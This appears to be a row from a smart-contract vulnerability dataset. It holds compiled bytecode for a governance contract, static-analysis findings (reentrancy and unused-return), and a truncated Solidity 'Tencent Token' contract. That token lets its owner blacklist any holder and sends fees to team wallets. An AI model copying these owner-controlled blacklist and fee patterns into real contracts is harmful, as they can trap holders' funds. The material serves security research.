657600080fd5b6000613a6484828501613649565b91505092915050565b60008060408385031215613a8057600080fd5b6000613a8e85828601613649565b9250506020613a9f8582860161384c565b9150509250929050565b60008060408385031215613abc57600080fd5b6000613aca85828601613649565b9250506020613adb858286016139f0565b9150509250929050565b600080600080600060a08688031215613afd57600080fd5b600086013567ffffffffffffffff811115613b1757600080fd5b613b238882890161365e565b955050602086013567ffffffffffffffff811115613b4057600080fd5b613b4c888289016137c9565b945050604086013567ffffffffffffffff811115613b6957600080fd5b613b7588828901613755565b935050606086013567ffffffffffffffff811115613b9257600080fd5b613b9e888289016136e1565b925050608086013567ffffffffffffffff811115613bbb57600080fd5b613bc78882890161399c565b9150509295509295909350565b600060208284031215613be657600080fd5b6000613bf484828501613861565b91505092915050565b600060208284031215613c0f57600080fd5b6000613c1d8482850161388b565b91505092915050565b600060208284031215613c3857600080fd5b600082015167ffffffffffffffff811115613c5257600080fd5b613c5e848285016138f4565b91505092915050565b600060208284031215613c7957600080fd5b6000613c87848285016139f0565b91505092915050565b600060208284031215613ca257600080fd5b6000613cb084828501613a05565b91505092915050565b60008060408385031215613ccc57600080fd5b6000613cda858286016139f0565b9250506020613ceb85828601613649565b9150509250929050565b60008060408385031215613d0857600080fd5b6000613d16858286016139f0565b9250506020613d278582860161384c565b9150509250929050565b600080600080600060a08688031215613d4957600080fd5b6000613d57888289016139f0565b9550506020613d688882890161384c565b9450506040613d7988828901613a1a565b9350506060613d8a88828901613876565b9250506080613d9b88828901613876565b9150509295509295909350565b600060208284031215613dba57600080fd5b6000613dc884828501613a2f565b91505092915050565b6000613ddd8383613e38565b60208301905092915050565b6000613df58383614079565b905092915050565b6000613e0983836141c5565b905092915050565b6000613e1d8383615086565b60208301905092915050565b613e3281615d97565b82525050565b613e4181615d0d565b82525050565b613e5081615d0d565b82525050565b6000613e6182615bee565b613e6b8185615c7a565b9350613e7683615b84565b8060005b83811015613ea7578151613e8e8882613dd1565b9750613e9983615c46565b925050600181019050613e7a565b5085935050505092915050565b6000613ebf82615bf9565b613ec98185615c8b565b935083602082028501613edb85615b94565b8060005b85811015613f175784840389528151613ef88582613de9565b9450613f0383615c53565b925060208a01995050600181019050613edf565b50829750879550505050505092915050565b6000613f3482615c04565b613f3e8185615c9c565b935083602082028501613f5085615ba4565b8060005b85811015613f8c5784840389528151613f6d8582613dfd565b9450613f7883615c60565b925060208a01995050600181019050613f54565b50829750879550505050505092915050565b6000613fa982615c0f565b613fb38185615cad565b9350613fbe83615bb4565b8060005b83811015613fef578151613fd68882613e11565b9750613fe183615c6d565b925050600181019050613fc2565b5085935050505092915050565b61400581615d1f565b82525050565b61401481615d1f565b82525050565b61402381615d2b565b82525050565b61403a61403582615d2b565b615eb1565b82525050565b600061404b82615c25565b6140558185615ccf565b9350614065818560208601615e7e565b61406e81615ebb565b840191505092915050565b600061408482615c1a565b61408e8185615cbe565b935061409e818560208601615e7e565b6140a781615ebb565b840191505092915050565b6000815460018116600081146140cf57600181146140f557614139565b607f60028304166140e08187615ccf565b955060ff198316865260208601935050614139565b600282046141038187615ccf565b955061410e85615bc4565b60005b8281101561413057815481890152600182019150602081019050614111565b80880195505050505b505092915050565b61414a81615da9565b82525050565b61415981615dcd565b82525050565b61416881615df1565b82525050565b61417781615e15565b82525050565b61418681615e27565b82525050565b600061419782615c3b565b6141a18185615cf1565b93506141b1818560208601615e7e565b6141ba81615ebb565b840191505092915050565b60006141d082615c30565b6141da8185615ce0565b93506141ea818560208601615e7e565b6141f381615ebb565b840191505092915050565b600061420982615c30565b6142138185615cf1565b9350614223818560208601615e7e565b61422c81615ebb565b840191505092915050565b600081546001811660008114614254576001811461427a576142be565b607f60028304166142658187615cf1565b955060ff1983168652602086019350506142be565b600282046142888187615cf1565b955061429385615bd9565b60005b828110156142b557815481890152600182019150602081019050614296565b80880195505050505b505092915050565b60006142d3602f83615cf1565b91507f476f7665726e6f724d696c6c733a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b6000614339602c83615cf1565b91507f476f7665726e6f724d696c6c733a3a6e657751756f72756d3a206e6f2063686160008301527f6e676520696e2076616c756500000000000000000000000000000000000000006020830152604082019050919050565b600061439f604483615cf1565b91507f476f7665726e6f724d696c6c733a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b600061442b602d83615cf1565b91507f476f7665726e6f724d696c6c733a3a6e657751756f72756d3a2074687265736860008301527f6f6c6420746f6f206c61726765000000000000000000000000000000000000006020830152604082019050919050565b6000614491603683615cf1565b91507f476f7665726e6f724d696c6c733a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b60006144f7603e83615cf1565b91507f476f7665726e6f724d696c6c733a3a5f5f6578656375746553657454696d656c60008301527f6f636b50656e64696e6741646d696e3a206f6e6c7920677561726469616e00006020830152604082019050919050565b600061455d604583615cf1565b91507f476f7665726e6f724d696c6c733a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006145e9600283615d02565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000614629602983615cf1565b91507f476f7665726e6f724d696c6c733a3a736574477561726469616e3a206f6e6c7960008301527f20677561726469616e00000000000000000000000000000000000000000000006020830152604082019050919050565b600061468f605983615cf1565b91507f476f7665726e6f724d696c6c733a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b600061471b603f83615cf1565b91507f476f7665726e6f724d696c6c733a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b6000614781601883615cf1565b91507f73657450656e64696e6741646d696e28616464726573732900000000000000006000830152602082019050919050565b60006147c1605883615cf1565b91507f476f7665726e6f724d696c6c733a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b600061484d602d83615cf1565b91507f476f7665726e6f724d696c6c733a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b60006148b3603f83615cf1565b91507f476f7665726e6f724d696c6c733a3a75706461746550726f706f73657257686960008301527f74656c6973743a2073656e646572206d7573742062652074696d656c6f636b006020830152604082019050919050565b6000614919604f83615cf1565b91507f476f7665726e6f724d696c6c733a3a75706461746550726f706f73616c54687260008301527f6573686f6c643a2073656e646572206d75737420626520676f7620677561726460208301527f69616e206f722074696d656c6f636b00000000000000000000000000000000006040830152606082019050919050565b60006149a5603783615cf1565b91507f476f7665726e6f724d696c6c733a3a61636365707441646d696e3a2073656e6460008301527f6572206d75737420626520676f7620677561726469616e0000000000000000006020830152604082019050919050565b6000614a0b601183615cf1565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b6000614a4b604383615d02565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000614ad7602783615d02565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b6000614b3d602a83615cf1565b91507f476f7665726e6f724d696c6c733a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b6000614ba3604483615cf1565b91507f476f7665726e6f724d696c6c733a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614c2f602983615cf1565b91507f476f7665726e6f724d696c6c733a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b6000614c95604483615cf1565b91507f476f7665726e6f724d696c6c733a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614d21602f83615cf1565b91507f476f7665726e6f724d696c6c733a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b6000614d87603c83615cf1565b91507f476f7665726e6f724d696c6c733a3a5f5f717565756553657454696d656c6f6360008301527f6b50656e64696e6741646d696e3a206f6e6c7920677561726469616e000000006020830152604082019050919050565b6000614ded603b83615cf1565b91507f476f7665726e6f724d696c6c733a3a75706461746550726f706f73616c54687260008301527f6573686f6c643a207468726573686f6c6420746f6f206c6172676500000000006020830152604082019050919050565b6000614e53603a83615cf1565b91507f476f7665726e6f724d696c6c733a3a75706461746550726f706f73616c54687260008301527f6573686f6c643a206e6f206368616e676520696e2076616c75650000000000006020830152604082019050919050565b6000614eb9602883615cf1565b91507f476f7665726e6f724d696c6c733a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614f1f604183615cf1565b91507f476f7665726e6f724d696c6c733a3a6e657751756f72756d3a2073656e64657260008301527f206d75737420626520676f7620677561726469616e206f722074696d656c6f6360208301527f6b000000000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614fab601583615cf1565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b6000614feb602c83615cf1565b91507f476f7665726e6f724d696c6c733a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b60608201600082015161505a6000850182613ffc565b50602082015161506d6020850182613ffc565b50604082015161508060408501826150c2565b50505050565b61508f81615d68565b82525050565b61509e81615d68565b82525050565b6150ad81615d72565b82525050565b6150bc81615e5d565b82525050565b6150cb81615d7f565b82525050565b60006150dc826145dc565b91506150e88285614029565b6020820191506150f88284614029565b6020820191508190509392505050565b600061511382614a3e565b9150819050919050565b600061512882614aca565b9150819050919050565b60006020820190506151476000830184613e47565b92915050565b60006040820190506151626000830185613e47565b61516f602083018461400b565b9392505050565b600060a08201905061518b6000830187613e47565b615198602083018661417d565b81810360408301526151a981614774565b905081810360608301526151bd8185614040565b90506151cc6080830184615095565b95945050505050565b60006040820190506151ea6000830185613e47565b6151f76020830184615095565b9392505050565b60006080820190506152136000830187613e47565b6152206020830186615095565b61522d604083018561400b565b61523a60608301846150b3565b95945050505050565b600060a0820190506152586000830188613e47565b6152656020830187615095565b8181036040830152615277818661418c565b9050818103606083015261528b8185614040565b905061529a6080830184615095565b9695505050505050565b600060a0820190506152b96000830188613e47565b6152c66020830187615095565b81810360408301526152d88186614237565b905081810360608301526152ec81856140b2565b90506152fb6080830184615095565b9695505050505050565b6000608082019050818103600083015261531f8187613e56565b905081810360208301526153338186613f9e565b905081810360408301526153478185613f29565b9050818103606083015261535b8184613eb4565b905095945050505050565b600060208201905061537b600083018461400b565b92915050565b6000602082019050615396600083018461401a565b92915050565b60006080820190506153b1600083018761401a565b6153be602083018661401a565b6153cb6040830185615095565b6153d86060830184613e47565b95945050505050565b60006060820190506153f6600083018661401a565b6154036020830185615095565b615410604083018461400b565b949350505050565b600060808201905061542d600083018761401a565b61543a60208301866150a4565b615447604083018561401a565b615454606083018461401a565b95945050505050565b60006020820190506154726000830184614141565b92915050565b600060208201905061548d6000830184614150565b92915050565b60006020820190506154a8600083018461415f565b92915050565b60006020820190506154c3600083018461416e565b92915050565b600060208201905081810360008301526154e381846141fe565b905092915050565b60006020820190508181036000830152615504816142c6565b9050919050565b600060208201905081810360008301526155248161432c565b9050919050565b6000602082019050818103600083015261554481614392565b9050919050565b600060208201905081810360008301526155648161441e565b9050919050565b6000602082019050818103600083015261558481614484565b9050919050565b600060208201905081810360008301526155a4816144ea565b9050919050565b600060208201905081810360008301526155c481614550565b9050919050565b600060208201905081810360008301526155e48161461c565b9050919050565b6000602082019050818103600083015261560481614682565b9050919050565b600060208201905081810360008301526156248161470e565b9050919050565b60006020820190508181036000830152615644816147b4565b9050919050565b6000602082019050818103600083015261566481614840565b9050919050565b60006020820190508181036000830152615684816148a6565b9050919050565b600060208201905081810360008301526156a48161490c565b9050919050565b600060208201905081810360008301526156c481614998565b9050919050565b600060208201905081810360008301526156e4816149fe565b9050919050565b6000602082019050818103600083015261570481614b30565b9050919050565b6000602082019050818103600083015261572481614b96565b9050919050565b6000602082019050818103600083015261574481614c22565b9050919050565b6000602082019050818103600083015261576481614c88565b9050919050565b6000602082019050818103600083015261578481614d14565b9050919050565b600060208201905081810360008301526157a481614d7a565b9050919050565b600060208201905081810360008301526157c481614de0565b9050919050565b600060208201905081810360008301526157e481614e46565b9050919050565b6000602082019050818103600083015261580481614eac565b9050919050565b6000602082019050818103600083015261582481614f12565b9050919050565b6000602082019050818103600083015261584481614f9e565b9050919050565b6000602082019050818103600083015261586481614fde565b9050919050565b60006060820190506158806000830184615044565b92915050565b600060208201905061589b6000830184615095565b92915050565b6000610120820190506158b7600083018c615095565b6158c4602083018b613e29565b81810360408301526158d6818a613e56565b905081810360608301526158ea8189613f9e565b905081810360808301526158fe8188613f29565b905081810360a08301526159128187613eb4565b905061592160c0830186615095565b61592e60e0830185615095565b818103610100830152615941818461418c565b90509a9950505050505050505050565b600061012082019050615967600083018c615095565b615974602083018b613e47565b615981604083018a615095565b61598e6060830189615095565b61599b6080830188615095565b6159a860a0830187615095565b6159b560c0830186615095565b6159c260e083018561400b565b6159d061010083018461400b565b9a9950505050505050505050565b60006040820190506159f36000830185615095565b615a006020830184615095565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715615a2a57600080fd5b8060405250919050565b600067ffffffffffffffff821115615a4b57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115615a7357600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115615a9b57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115615ac357600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115615aeb57600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115615b1757600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115615b4357600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115615b6f57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000615d1882615d48565b9050919050565b60008115159050919050565b6000819050919050565b6000819050615d4382615ecc565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000615da282615e39565b9050919050565b6000615db482615dbb565b9050919050565b6000615dc682615d48565b9050919050565b6000615dd882615ddf565b9050919050565b6000615dea82615d48565b9050919050565b6000615dfc82615e03565b9050919050565b6000615e0e82615d48565b9050919050565b6000615e2082615d35565b9050919050565b6000615e3282615d68565b9050919050565b6000615e4482615e4b565b9050919050565b6000615e5682615d48565b9050919050565b6000615e6882615d7f565b9050919050565b82818337600083830152505050565b60005b83811015615e9c578082015181840152602081019050615e81565b83811115615eab576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b60088110615ed657fe5b50565b615ee281615d0d565b8114615eed57600080fd5b50565b615ef981615d1f565b8114615f0457600080fd5b50565b615f1081615d2b565b8114615f1b57600080fd5b50565b615f2781615d68565b8114615f3257600080fd5b50565b615f3e81615d72565b8114615f4957600080fd5b50565b615f5581615d7f565b8114615f6057600080fd5b5056fea365627a7a72315820e8b4067df5bbb2fe9b81b222bf7025cb2ba6d877298ac69f570ad863ea0852f46c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 944 |
0x5fbcc4bd894322da8e594e7453aa8ac7b22f0e35 | /**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
/*
https://t.me/tencentoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Tencent is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Tencent Token";
string private constant _symbol = 'TENCENT️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _teamFee = 6;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
